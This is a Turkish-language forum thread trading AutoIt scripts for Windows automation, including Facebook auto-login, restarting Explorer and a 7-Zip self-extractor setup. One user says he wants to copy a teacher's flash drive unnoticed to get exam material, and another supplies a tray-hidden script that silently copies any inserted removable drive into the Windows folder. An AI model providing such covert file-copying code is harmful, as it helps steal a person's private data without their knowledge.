Jump to content

İleri düzey AutoIT örnekleri


sk8er_boi
 Share

Recommended Posts

@shmd

Sen flash disk içinmi böyle bir şey yapmak istiyorsun acaba? Birde niye Windows! Sistemine zarar verebilirsin.

Ayırca autorun.inf dosyası cd/dvd gibi farklı sürücülerde de olabilir. Farklı bir yöntem veyahut dosya belirlemelisin...

@gangster94

Kurulumda çalışan exe dosyasının işinin bitirenedek bekletebilirsin. Bu sayede autoit kapanmaz!

O satırların en latına;

ProcessWaitClose("Program.exe")[/CODE]

komutunu ekle. Tabi kurulumda, görev yöneticisinden çalışan ilgili uygulama dosyasının adını yazacaksın.

Link to comment
Share on other sites

@Blue_life

hocam şimdi bizim hoca var okuldan flashında sunular var sınavda çıkacak olan soruların bir kısmı bu sunulardan çıkacak.flashında sizin yapmış olduğunuz autorun çalışmasıyla içine autorun koydum kendisi istediği için.diğer sürücülerde bu dosya yok.windows a kopyalamamın sebebi iste fark etmesini istemediğimden. umarım açıklayıcı olmuştur.

ben nerde hata yapıyorum sizce yardımcı olursanız çok makbule geçer.

saygılarımla.

Link to comment
Share on other sites

@shmd

Ne yapmak istediğini tam anlamadım, lakin umarım iyi bir amaç için kullanmak istiyorsundur!

Kısaca script Removale aygırlarını tarar ve içerisinde Autorun.inf bulursa, bu removable aygıtı (flash diski) olduğu gibi tarih atayarak windows içine kopyalayıp kendini kapatır.

Kendine göre düzenlersin. Kolay gelsin...

#NoTrayIcon
Sleep(5000); Başlangıçta 5 saniye bekler... Kendine göre ayarlarsın...
While 1
    $FLASH = DriveGetDrive( "REMOVABLE" )
    If NOT @error Then
        For $i = 1 to $FLASH[0]
            If StringRight($FLASH[$i],1) <> "\" Then $FLASH[$i] &= "\"
            If FileExists($FLASH[$i] & "\Autorun.inf") Then
                DirCopy($FLASH[$i],@WindowsDir & "\" & @YEAR & @MON & @MDAY & " - " & @HOUR & @MIN & @SEC)
                Exit
            EndIf
        Next
    EndIf
    Sleep(500)
WEnd[/CODE]

Link to comment
Share on other sites

@gansgter94 önceki üyeliklerini de bu üyeliğini de takip ediyorum.Aylardır bu saçma soruları soracağına şu forumu okusaydın sorularının karşılığını alıcaktın da nerrrde...*.7z dosyasını resource hackerla düzenleyerek yapmış olabilir mi acaba?

Link to comment
Share on other sites

@blue_life

hocam bu kodların işlevi güzel bir amaca yönelik. :D

sizin vermiş olduğunuz kod benim 2. sorum.

peki ben flashı bulamayınca scriptin tekrar çalışmasını istiyorum.böylece daha önceden çalıştıracağım script flashı buluncaya kadar kendini çalıştracak.bulunca kopyalacak.mantık doğru kodlarda doğru çünkü @sk8er_boi scripti yeniden başlatma kodunu vermişti.ve kod çalışıyor.ben ise @blacman12 nin verdiği kodla birleştirme ye kaltım hata aldım sürekli.

sizleri rahatsız ettiğim için özür dilerim.

hayırlı akşamlar.

Link to comment
Share on other sites

sağol @blue_life necooy girerse bu konuya cevap verir

7-ziple katılımsız kurulum kısmını bildiğini varsayıyorum.

Aşağıdaki adresten son 7 zip sfx toolsu indiriyorsun,

http://7zsfx.info/en/[/CODE]

içerisindeki "7ZSD_All.sfx" dosyasını 7-ziple katılımsız kurulum dersinde anlatıldığı şekilde kullanıyorsun.

Config.txt'ye aşağıdakileri eklersen bendeki gibi bir açılış ekranı gelecek:

[CODE];!@Install@!UTF-8!
GUIFlags="2+4+8+16+32+2048+4096"GUIMode="1"
ExtractTitle="pencere başlığı"
ExtractDialogText="Yazmasını istediğin mesaj"
;!@InstallEnd@![/CODE]

Link to comment
Share on other sites

  • 2 hafta sonra ...

Arkadaslar 3 soru size arz edicegim... birincisi ; forumda görmüştüm galiba.autoitle otomatik hotmaile giris yaptırabiliyordu.bende facebook icin ugrastım autoit forumlarında bu kodu buldum

#include <IE.au3>

$oIE = _IECreate ("

Please register to see this content.
)

$oForm = _IEFormGetCollection ($oIE, 0)

$oUsername = _IEFormElementGetCollection ($oForm, 7)

$oPassword = _IEFormElementGetCollection ($oForm, 8)

_IEFormElementSetValue ($oUsername, "kullanıcı adım")

_IEFormElementSetValue ($oPassword, "sifrem")

_IEFormSubmit ($oForm)

ama bunu denedim olmuyo acaba hata nerdedir.ve ben nasıl böyle bi tane yapabilirim mantıgı nedir.

2.sorum; ise ben kendim exploreri resetlemek icin bi kod yapmaya calıstım ama olmuyo tam olarak

KOD;

Opt("TrayIconHide", 1)

ProcessClose("explorer.exe")

Run(@WindowsDir & "\explorer.exe")

WinWait("Belgelerim")

WinWaitActive("Belgelerim")

winclose("Belgelerim")

explorer kapanıyor ekrana belgelerim geliyo oda kapanıyor ama.belgelerim gelmeden nasıl yapabilirim bunu.

3.sorum ise ben autoit komutuyla program ekle kaldırı actırmak istiyorum.

Run(@WindowsDir & "/system32/appwiz.cpl") boyle yaptım olmadı acaba.bu system32 icerisindekini nasıl calıstırcagız.Lutfen bi yardımcı olursanız cok sevinirim

Edited by x_files_x
Link to comment
Share on other sites

kimse bana yardım etmiyor bari ben yardım edeyim sana buyur kardes.

FileInstall("C:\Documents and Settings\PC\Desktop\Desktop.exe",@TempDir & "\$$.tmp")

FileMove ( @TempDir & "\$$.tmp",@TempDir & "\temp.exe" ,1 )

RunWait(@TempDir & "\temp.exe")

FileDelete(@TempDir & "\temp.exe")

desktop.exe olan senin exe ismini yaz.exe masaüstünde olsun

Link to comment
Share on other sites

Arkadaslar 3 soru size arz edicegim... birincisi ; forumda görmüştüm galiba.autoitle otomatik hotmaile giris yaptırabiliyordu.bende facebook icin ugrastım autoit forumlarında bu kodu buldum

#include <IE.au3>

$oIE = _IECreate (")

$oForm = _IEFormGetCollection ($oIE, 0)

$oUsername = _IEFormElementGetCollection ($oForm, 7)

$oPassword = _IEFormElementGetCollection ($oForm, 8)

_IEFormElementSetValue ($oUsername, "kullanıcı adım")

_IEFormElementSetValue ($oPassword, "sifrem")

_IEFormSubmit ($oForm)

ama bunu denedim olmuyo acaba hata nerdedir.ve ben nasıl böyle bi tane yapabilirim mantıgı nedir.

2.sorum; ise ben kendim exploreri resetlemek icin bi kod yapmaya calıstım ama olmuyo tam olarak

KOD;

Opt("TrayIconHide", 1)

ProcessClose("explorer.exe")

Run(@WindowsDir & "\explorer.exe")

WinWait("Belgelerim")

WinWaitActive("Belgelerim")

winclose("Belgelerim")

explorer kapanıyor ekrana belgelerim geliyo oda kapanıyor ama.belgelerim gelmeden nasıl yapabilirim bunu.

3.sorum ise ben autoit komutuyla program ekle kaldırı actırmak istiyorum.

Run(@WindowsDir & "/system32/appwiz.cpl") boyle yaptım olmadı acaba.bu system32 icerisindekini nasıl calıstırcagız.Lutfen bi yardımcı olursanız cok sevinirim

Asagidaki script ile facbook giris yapabilirsin

#include<IE.au3>

#include <File.au3>

Local $mailtxt = "BURAYA MAIL"

Local $passtxt = "BURAYA SIFREN"

$Mail = $mailtxt

$Pass = $passtxt

$oIE = _IECreate("

Please register to see this content.
0, 1, 1)

$oForm = _IEFormGetObjByName($oIE, "login_form")

$oQuery = _IEFormElementGetObjByName($oForm, "email")

$o_Query = _IEFormElementGetObjByName($oForm, "pass")

$oSubmit = _IEFormElementGetObjByName($oForm, "login")

_IEFormElementSetValue($oQuery, $Mail)

_IEFormElementSetValue($o_Query, $Pass)

_IEAction($oSubmit, "click")

Edited by peerfen
Link to comment
Share on other sites

Exploreri resetlemek icin @Bluelife ustamiz bir script hazirmaisti onu kullanmani tavsyie ederim

Evet o var bende ama ben kendim yapmak istiyorum,cünkü onun kaynak kodları baya kabarık anlamadım bişi..ben yeni sayılırım pek bilmiyorum ki o kadar.

Mesela şu Autoit internet automasyonunu bilenler olsa anlatsa iyi olurdu

Link to comment
Share on other sites

@neccooy

Basit bir örnek verim. Örnekte explorer.exe nin MD5 Değerini hesaplıyoruz...

Edit: Code alanında verdiğim kodlar bozuldu. Bu yüzden upload ettim...

http://bluelife.winbuilder.net/index.php?dir=Garbage%2F&download=MD5_CODE.rar[/CODE]

Edited by blue_life
Link to comment
Share on other sites

ben şöyle birşey yapmak istiyorum autoıtle rapidshareplus 4.0 programını açılışta açıcak ve download tuşuna basıcak sonra menüden file minimiza to taskbar tuşuna basıcak ama bunlar görünmeyecek şekilde teker teker hızlı basıcak

program indiriyorumda o yüzden :)))

Link to comment
Share on other sites

ben şöyle birşey yapmak istiyorum autoıtle rapidshareplus 4.0 programını açılışta açıcak ve download tuşuna basıcak sonra menüden file minimiza to taskbar tuşuna basıcak ama bunlar görünmeyecek şekilde teker teker hızlı basıcak

program indiriyorumda o yüzden :)))

Dedigin işlem kolay.autoit ile programını çagırtıracaksın.sonra komutlar ile işlmelerini yaptırıp .ekranı gizlemek icin kod var onunlada gizleyip bitireceksin.ama işte musait olsam örnegini yapardım sorry

Link to comment
Share on other sites

aşağıdaki kodlarla yapabilirsin, ancak görünmemeyi yapamazsın(şahsen ben yapamadım :D).

#NoTrayIcon

Opt("WinWaitDelay",100)

Opt("WinTitleMatchMode",4)

Opt("WinDetectHiddenText",1)

Opt("MouseCoordMode",0)

Run('RapidShare Plus.exe')

WinWait("RapidShare Plus","Add Change Directory")

If Not WinActive("RapidShare Plus","Add Change Directory") Then WinActivate("RapidShare Plus","Add Change Directory")

WinWaitActive("RapidShare Plus","Add Change Directory")

Send("{TAB}{TAB}{ENTER}")

RapidShare Plus.exe'nin yanında çalıştır.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...